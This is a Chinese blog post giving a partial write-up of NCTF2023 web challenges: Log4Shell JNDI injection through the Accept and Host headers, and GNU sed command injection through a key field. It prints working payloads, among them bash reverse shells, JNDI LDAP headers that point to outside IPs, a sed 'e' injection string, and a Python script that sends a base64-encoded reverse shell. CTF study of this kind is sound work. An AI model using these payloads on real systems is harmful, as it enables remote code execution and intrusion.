首页 > 其他分享 >NCTF2023-web-部分wp

NCTF2023-web-部分wp

时间:2024-01-13 23:55:25浏览次数:49  
标签:NCTF2023 web zh Accept JNDI sed wp bash

期末考完了,芜湖~~~~复工!

NCTF好巧不巧出在我们期末周复习的时间,当时也只是上线看了一点,有些题有点思路,但是还是因为积累知识不足,想不出什么姿势。

现在能复现出的就尽量看看吧。

logging

记忆犹新,因为队里一个佬来了一看,说是一眼签到题,哈哈哈哈哈哈。

Java安全以前没怎么接触过,后面看了下其他师傅的wp,就一个简单的payload就出了。

根据题目hint:

需要让Springboot控制台报错。

官方说法的核⼼思路是如何构造⼀个畸形的 HTTP 数据包使得 SpringBoot 控制台报错

fuzz出Accept头存在log4j的漏洞。

⼀个思路是 Accept 头, 如果 mine type 类型不对控制台会调⽤ logger 输出⽇志:
logging-web-1 | 2023-12-24 09:15:41.220 WARN 7 --- [nio-8080-exec-2]
.w.s.m.s.DefaultHandlerExceptionResolver : Resolved
[org.springframework.web.HttpMediaTypeNotAcceptableException: Could not parse
'Accept' header [123]: Invalid mime type "123": does not contain '/']
另外还有 Host 头, 但是只能⽤⼀次, 第⼆次往后就不能再打印⽇志了 其实⼀些扫描器⿊盒也能直接扫出来 (例如 nuclei):
[CVE-2021-44228] [http] [critical] http://124.71.184.68:8011/
[accept,25db884fff4b]

后面就是JNDI注入。

这里了解了一下JNDI(Java Naming and Directory Interface,Java命名和目录接口)注入:

Java安全之JNDI注入 - nice_0e3 - 博客园 (cnblogs.com)

JNDI注入原理浅析-腾讯云开发者社区-腾讯云 (tencent.com)

JAVA安全之Log4j-Jndi注入原理以及利用方式_jndi注入的利用-CSDN博客

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识_ove-2021-44228-CSDN博客

攻击流程:

这里用JNDI-Injection-Exploit工具可以一键出payload。

GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)

队里给的思路是pom.xml中日志依赖换成log4j,Accept字段打jndi反弹shell。   payload:
bash -i >& /dev/tcp/vps/port 0>&1
//payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,<base64后的命令>}|{base64,-d}|{bash,-i}" -A xxxx

 

星盟wp里的过程:

 

用host请求头打:

GET / HTTP/1.1
Host: ${jndi:ldap://118.89.61.71:1389/Basic/ReverseShell/ip/port}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

或用Accept请求头打:

GET / HTTP/1.1
Host: 124.71.184.68:8011
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8${jndi:ldap://ip:port/Basic/ReverseShell/ip/port}
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: aiovg_rand_seed=1362609461Upgrade-Insecure-Requests: 1

来自:NCTF2023 - Zer0peach can't think

 

Webshell Generator

这个我自己做的时候,感觉还挺好玩,直接能帮你出一个php的一句话木马,虽然自己写也很简单,所以就在想能不能把这个木马通过一定的方式写进后台,但是显然不能,姿势不对。

后面看了下hint:

download.php可以任意文件读。无权限读取/flag。

最后一个hint: 查询man⼿册sed, a stream editor (gnu.org)或互联⽹得知,GNU sed可以通过e指令执⾏系统命令。闭合原先的s指令,执 ⾏/readflag,会将flag插⼊到输出⽂件的第⼀⾏。⾃动跳转到download.php读取即可。、   sed指令可以通过换行符分隔,[也可以通过;分隔] sed, a stream editor (gnu.org)
can be separated by semicolons (%3B)

看到:

<input name="key" type="text" value="114" pattern="[A-Za-z0-9]+" title="你的key太复杂了!简单点!o.O">

就一个简单的前端验证,直接F12修改页面源码或抓包软件绕过前端格式限制就行了。

然后在key栏提交:

/g;1e /readflag;s//

# 即:
# sed -i "s/KEY//g;1e /readflag;s///g" "$NEW_FILENAME"

s/KEY//g这东西是个替换操作,将$NEW_FILENAME这个文件里所有的KEY都替换成空。;用来分隔多个sed命令。e这东西可以用来执行系统命令(比如/readflag),前面加个1表示将执行结果插入到文件第一行。后面又用了一个;分割并将所有空字符串替换成空字符串。

KEYMETHOD都可控,随便改一个就行。

 

官方wp也给了一种base64编码的反弹shell方法:Java Runtime Converter (sudokaikan.com)

import requests
resp = requests.post("http://117.50.175.234:8001/index.php",data=
{"language":"PHP","key":'''/g; 1e bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTQuMTUuNTAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" #s//''',"method":"1","filename":"2"})
print(resp.status_code,resp.text)

星盟wp的过程如下:

 

 

 

后续这几天再更一下。

参考:

NCTF2023 - Zer0peach can't think

2023_NCTF_Web题目复现 - RenDongjun's Blog (notnad3.github.io)

2023 NCTF writeup-腾讯云开发者社区-腾讯云 (tencent.com)

NCTF 2023 Writeup - 星盟安全团队 (xmcve.com)

标签:NCTF2023,web,zh,Accept,JNDI,sed,wp,bash
From: https://www.cnblogs.com/EddieMurphy-blogs/p/17962993

相关文章

  • 【愚公系列】2024年01月 WPF控件专题 Slider控件详解
    ......
  • WebSocket-FLV H264/H265服务器基本实现
    场景HTTP-FLV:基于HTTP流式IO传输FLV,依赖浏览器支持播放FLV。但是由于同源的限制问题,浏览器只能播放六路视频,因此采用WebSocket-FLVWebSocket-FLV:基于WebSocket传输FLV,依赖浏览器支持播放FLV。WebSocket建立在HTTP之上,建立WebSocket连接前还要先建立HTTP连接。视频参数代码H264S......
  • Java Web中文乱码的问题
    本编文章列举了JavaWeb编程中所有可能导致中文乱码的问题以及解决方法1、html页面乱码首先第一点便是html页面乱码问题例如:此时我们需要在项目中找到该网页的html文件,在html文件头部中找到metacharset="";然后将meta中的charset改为charset="UTF-8"如下图示:2、request乱码在debug......
  • 春秋云境 Delegation WP
    春秋云境DelegationWPDelegation是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机......
  • webdriver.Chrome New API
    Thewebdriver.ChromeAPIsaresimplifiedinthelatestversionofSelenium,andbothfind_element_by_()andfind_elements_by_()methods.WecanfixtheissuebyusingthenewAPImethodsthatareavailableinSelenium4.0.0onwards.Letustakeasimplee......
  • JS常用工具:Webpack 和 JShaman分别有什么用?
    Webpack和JShaman是两个不同的工具,它们的特点和用途也不同。Webpack是一个前端资源模块打包工具,主要用于将各种静态资源(如JavaScript、CSS、图片等)视为模块,并将其打包成浏览器可以识别的代码。Webpack的特点包括:1.模块化:Webpack将各种资源视为模块,使开发者能够更好地组织和管理项......
  • JS常用工具:Webpack 和 JShaman分别有什么用?
    Webpack和JShaman是两个不同的工具,它们的特点和用途也不同。Webpack是一个前端资源模块打包工具,主要用于将各种静态资源(如JavaScript、CSS、图片等)视为模块,并将其打包成浏览器可以识别的代码。Webpack的特点包括:1.模块化:Webpack将各种资源视为模块,使开发者能够更好地组织和管理......
  • RUST web框架axum快速入门教程6之测试
    本文主要讨论axum的测试,axum对于测试的支持还是比较完善的,我们可以测试状态码,HTTP头信息,响应体等内容,因为框架实现的原因,其实axum很依赖tower。往期文章:https://youerning.top/post/axum/quickstart-1https://youerning.top/post/axum/quickstart-2https://youerning.top/pos......
  • 函数计算域名调试web应用
    函数计算域名调试web应用如果没有域名的话,可以利用一个小技巧来绕过阿里云对于函数计算域名使用的限制,从而直接使用阿里云的域名进行访问先进入如下页面复制公网访问地址​​然后安装可以修改响应头的浏览器插件,例如https://github.com/FirefoxBar/HeaderEditor,然后进行类......
  • Winform中使用Fleck实现Websocket服务端并读取SQLite数据库中数据定时循环群发消息
    场景Winform中使用Websocket4Net实现Websocket客户端并定时存储接收数据到SQLite中:Winform中使用Websocket4Net实现Websocket客户端并定时存储接收数据到SQLite中-Winform中操作Sqlite数据增删改查、程序启动时执行创建表初始化操作:Winform中操作Sqlite数据增删改查、程序启动时执......